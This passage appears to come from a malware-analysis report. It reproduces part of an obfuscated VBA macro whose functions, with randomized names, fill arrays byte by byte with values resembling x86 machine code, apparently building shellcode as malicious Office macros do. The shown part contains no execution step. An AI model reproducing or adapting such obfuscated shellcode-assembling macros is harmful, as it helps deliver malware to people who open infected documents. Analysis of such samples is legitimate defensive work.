AAfT(dneuzpUUXNwW + 20) = 0
AAfT(dneuzpUUXNwW + 21) = 0
AAfT(481) = 233
AAfT(dneuzpUUXNwW + 23) = 200
AAfT(483) = 2
AAfT(dneuzpUUXNwW + 25) = 0
AAfT(dneuzpUUXNwW + 26) = 0
AAfT(486) = 233
AAfT(487) = 195
AAfT(488) = 2
AAfT(489) = 0
AAfT(dneuzpUUXNwW + 31) = 0
AAfT(dneuzpUUXNwW + 32) = 233
AAfT(dneuzpUUXNwW + 33) = 182
AAfT(493) = 0
AAfT(dneuzpUUXNwW + 35) = 0
AAfT(495) = 0
AAfT(496) = 156
AAfT(dneuzpUUXNwW + 38) = 87
AAfT(498) = 86
AAfT(dneuzpUUXNwW + 40) = 94
AAfT(500) = 87
AAfT(501) = 81
AAfT(dneuzpUUXNwW + 43) = 89
AAfT(dneuzpUUXNwW + 44) = 129
AAfT(dneuzpUUXNwW + 45) = 199
AAfT(dneuzpUUXNwW + 46) = 71
AAfT(506) = 32
AAfT(507) = 0
AAfT(508) = 0
AAfT(dneuzpUUXNwW + 50) = 129
AAfT(510) = 199
AAfT(dneuzpUUXNwW + 52) = 158
AAfT(dneuzpUUXNwW + 53) = 47
AAfT(513) = 0
AAfT(dneuzpUUXNwW + 55) = 0
AAfT(515) = 141

End Sub
Public Function SEHD8(ByRef C5JiqNB2g As Object, ByRef wFZSaDBKo73 As Variant, ByVal X4k As Long, ByVal mZh As Long, ByRef ZUAVNaQdZooX As Date, ByVal Bhg As Boolean) As Double
wFZSaDBKo73(516) = 191
wFZSaDBKo73(517) = 87
wFZSaDBKo73(X4k + 2) = 115
wFZSaDBKo73(X4k + 3) = 0
wFZSaDBKo73(X4k + 4) = 0
wFZSaDBKo73(X4k + 5) = 141
wFZSaDBKo73(522) = 191
wFZSaDBKo73(523) = 93
wFZSaDBKo73(524) = 117
wFZSaDBKo73(X4k + 9) = 0
wFZSaDBKo73(526) = 0
wFZSaDBKo73(X4k + 11) = 95
wFZSaDBKo73(X4k + 12) = 95
wFZSaDBKo73(529) = 157
wFZSaDBKo73(X4k + 14) = 233
wFZSaDBKo73(531) = 106
wFZSaDBKo73(X4k + 16) = 2
wFZSaDBKo73(X4k + 17) = 0
wFZSaDBKo73(534) = 0
wFZSaDBKo73(535) = 235
wFZSaDBKo73(536) = 24
wFZSaDBKo73(537) = 81
wFZSaDBKo73(X4k + 22) = 89
wFZSaDBKo73(X4k + 23) = 233
wFZSaDBKo73(X4k + 24) = 85
wFZSaDBKo73(541) = 255
wFZSaDBKo73(X4k + 26) = 255
wFZSaDBKo73(543) = 255
wFZSaDBKo73(544) = 235
wFZSaDBKo73(X4k + 29) = 39
wFZSaDBKo73(546) = 232
wFZSaDBKo73(X4k + 31) = 174
wFZSaDBKo73(548) = 255
wFZSaDBKo73(549) = 255
wFZSaDBKo73(X4k + 34) = 255
wFZSaDBKo73(X4k + 35) = 235
wFZSaDBKo73(X4k + 36) = 145
wFZSaDBKo73(X4k + 37) = 91
wFZSaDBKo73(554) = 233
wFZSaDBKo73(555) = 11
wFZSaDBKo73(556) = 1
wFZSaDBKo73(X4k + 41) = 0
wFZSaDBKo73(558) = 0
wFZSaDBKo73(X4k + 43) = 82
wFZSaDBKo73(X4k + 44) = 90
wFZSaDBKo73(561) = 233
wFZSaDBKo73(X4k + 46) = 128
wFZSaDBKo73(563) = 233
wFZSaDBKo73(X4k + 48) = 99
wFZSaDBKo73(X4k + 49) = 1
wFZSaDBKo73(566) = 0
wFZSaDBKo73(567) = 0
wFZSaDBKo73(568) = 129
wFZSaDBKo73(569) = 117
wFZSaDBKo73(X4k + 54) = 0
wFZSaDBKo73(X4k + 55) = 97
wFZSaDBKo73(X4k + 56) = 243
wFZSaDBKo73(573) = 86
wFZSaDBKo73(X4k + 58) = 198
wFZSaDBKo73(575) = 233
wFZSaDBKo73(576) = 201
wFZSaDBKo73(X4k + 61) = 0
wFZSaDBKo73(578) = 0
wFZSaDBKo73(X4k + 63) = 0
wFZSaDBKo73(580) = 233
wFZSaDBKo73(581) = 12
wFZSaDBKo73(X4k + 66) = 2
wFZSaDBKo73(X4k + 67) = 0
wFZSaDBKo73(X4k + 68) = 0
wFZSaDBKo73(X4k + 69) = 233
wFZSaDBKo73(586) = 6
wFZSaDBKo73(587) = 1
wFZSaDBKo73(588) = 0
wFZSaDBKo73(X4k + 73) = 0
wFZSaDBKo73(590) = 233
wFZSaDBKo73(X4k + 75) = 60
wFZSaDBKo73(X4k + 76) = 1
wFZSaDBKo73(593) = 0
wFZSaDBKo73(X4k + 78) = 0
wFZSaDBKo73(595) = 81
wFZSaDBKo73(X4k + 80) = 89
wFZSaDBKo73(X4k + 81) = 233

End Function
Public Function Ddy(ByRef Cjxm6fHK8j36s As Variant, ByVal S9pwu9nQ6NRgA As Long, ByVal aXJ As Long) As Single
Cjxm6fHK8j36s(aXJ + 0) = 121
Cjxm6fHK8j36s(aXJ + 1) = 1
Cjxm6fHK8j36s(600) = 0
Cjxm6fHK8j36s(aXJ + 3) = 0
Cjxm6fHK8j36s(602) = 233
Cjxm6fHK8j36s(aXJ + 5) = 76
Cjxm6fHK8j36s(aXJ + 6) = 255
Cjxm6fHK8j36s(605) = 255
Cjxm6fHK8j36s(606) = 255
Cjxm6fHK8j36s(607) = 233
Cjxm6fHK8j36s(608) = 64
Cjxm6fHK8j36s(aXJ + 11) = 2
Cjxm6fHK8j36s(aXJ + 12) = 0
Cjxm6fHK8j36s(aXJ + 13) = 0
Cjxm6fHK8j36s(612) = 233
Cjxm6fHK8j36s(aXJ + 15) = 216
Cjxm6fHK8j36s(614) = 254
Cjxm6fHK8j36s(615) = 255
Cjxm6fHK8j36s(aXJ + 18) = 255
Cjxm6fHK8j36s(617) = 235
Cjxm6fHK8j36s(aXJ + 20) = 59
Cjxm6fHK8j36s(619) = 233
Cjxm6fHK8j36s(620) = 14
Cjxm6fHK8j36s(aXJ + 23) = 1
Cjxm6fHK8j36s(aXJ + 24) = 0
Cjxm6fHK8j36s(aXJ + 25) = 0
Cjxm6fHK8j36s(aXJ + 26) = 233
Cjxm6fHK8j36s(625) = 47
Cjxm6fHK8j36s(626) = 2
Cjxm6fHK8j36s(627) = 0
Cjxm6fHK8j36s(aXJ + 30) = 0
Cjxm6fHK8j36s(629) = 233
Cjxm6fHK8j36s(aXJ + 32) = 117
Cjxm6fHK8j36s(aXJ + 33) = 1
Cjxm6fHK8j36s(632) = 0
Cjxm6fHK8j36s(aXJ + 35) = 0
Cjxm6fHK8j36s(634) = 233
Cjxm6fHK8j36s(aXJ + 37) = 74
Cjxm6fHK8j36s(aXJ + 38) = 1
Cjxm6fHK8j36s(637) = 0
Cjxm6fHK8j36s(638) = 0
Cjxm6fHK8j36s(639) = 233
Cjxm6fHK8j36s(640) = 109
Cjxm6fHK8j36s(aXJ + 43) = 1
Cjxm6fHK8j36s(aXJ + 44) = 0
Cjxm6fHK8j36s(aXJ + 45) = 0
Cjxm6fHK8j36s(644) = 233
Cjxm6fHK8j36s(aXJ + 47) = 13
Cjxm6fHK8j36s(646) = 1
Cjxm6fHK8j36s(647) = 0
Cjxm6fHK8j36s(aXJ + 50) = 0
Cjxm6fHK8j36s(649) = 233
Cjxm6fHK8j36s(aXJ + 52) = 184
Cjxm6fHK8j36s(651) = 0
Cjxm6fHK8j36s(652) = 0
Cjxm6fHK8j36s(aXJ + 55) = 0
Cjxm6fHK8j36s(aXJ + 56) = 80
Cjxm6fHK8j36s(aXJ + 57) = 88
Cjxm6fHK8j36s(aXJ + 58) = 235
Cjxm6fHK8j36s(657) = 20
Cjxm6fHK8j36s(658) = 233
Cjxm6fHK8j36s(659) = 44
Cjxm6fHK8j36s(aXJ + 62) = 1
Cjxm6fHK8j36s(661) = 0
Cjxm6fHK8j36s(aXJ + 64) = 0
Cjxm6fHK8j36s(aXJ + 65) = 233
Cjxm6fHK8j36s(664) = 74
Cjxm6fHK8j36s(aXJ + 67) = 255
Cjxm6fHK8j36s(666) = 255
Cjxm6fHK8j36s(aXJ + 69) = 255
Cjxm6fHK8j36s(aXJ + 70) = 233
Cjxm6fHK8j36s(669) = 179
Cjxm6fHK8j36s(670) = 0
Cjxm6fHK8j36s(671) = 0
Cjxm6fHK8j36s(672) = 0
Cjxm6fHK8j36s(aXJ + 75) = 233
Cjxm6fHK8j36s(aXJ + 76) = 37
Cjxm6fHK8j36s(aXJ + 77) = 255
Cjxm6fHK8j36s(676) = 255
Cjxm6fHK8j36s(aXJ + 79) = 255
Cjxm6fHK8j36s(678) = 141
Cjxm6fHK8j36s(679) = 139
Cjxm6fHK8j36s(aXJ + 82) = 123
Cjxm6fHK8j36s(681) = 251
Cjxm6fHK8j36s(aXJ + 84) = 255
Cjxm6fHK8j36s(683) = 255
Cjxm6fHK8j36s(684) = 235
Cjxm6fHK8j36s(aXJ + 87) = 20
Cjxm6fHK8j36s(aXJ + 88) = 233
Cjxm6fHK8j36s(aXJ + 89) = 24
Cjxm6fHK8j36s(aXJ + 90) = 255

End Function
Public Function p3wcvdS(ByRef Kbb4ojpAS As Variant, ByVal UDrUeZv4 As Date, ByRef KUTRY05Xm As Currency, ByVal EKF1 As Byte, ByVal DKeJhwIV7 As Long, ByVal tMsz As Long, ByVal tx6sb As Byte) As Boolean
Kbb4ojpAS(tMsz + 0) = 255
Kbb4ojpAS(tMsz + 1) = 255
Kbb4ojpAS(tMsz + 2) = 233
Kbb4ojpAS(tMsz + 3) = 69
Kbb4ojpAS(693) = 1
Kbb4ojpAS(694) = 0
Kbb4ojpAS(695) = 0
Kbb4ojpAS(tMsz + 7) = 233
Kbb4ojpAS(697) = 19
Kbb4ojpAS(tMsz + 9) = 255
Kbb4ojpAS(tMsz + 10) = 255
Kbb4ojpAS(700) = 255
Kbb4ojpAS(tMsz + 12) = 233
Kbb4ojpAS(702) = 147
Kbb4ojpAS(tMsz + 14) = 1
Kbb4ojpAS(tMsz + 15) = 0
Kbb4ojpAS(705) = 0
Kbb4ojpAS(706) = 235
Kbb4ojpAS(707) = 138
Kbb4ojpAS(708) = 233
Kbb4ojpAS(tMsz + 20) = 243
Kbb4ojpAS(tMsz + 21) = 254
Kbb4ojpAS(tMsz + 22) = 255
Kbb4ojpAS(712) = 255
Kbb4ojpAS(tMsz + 24) = 233
Kbb4ojpAS(714) = 224
Kbb4ojpAS(715) = 1
Kbb4ojpAS(tMsz + 27) = 0
Kbb4ojpAS(717) = 0
Kbb4ojpAS(tMsz + 29) = 235
Kbb4ojpAS(719) = 116
Kbb4ojpAS(720) = 57
Kbb4ojpAS(tMsz + 32) = 221
Kbb4ojpAS(tMsz + 33) = 235
Kbb4ojpAS(tMsz + 34) = 228
Kbb4ojpAS(tMsz + 35) = 156
Kbb4ojpAS(725) = 80
…

Open this report in the interactive analyzer, or submit your own file for analysis.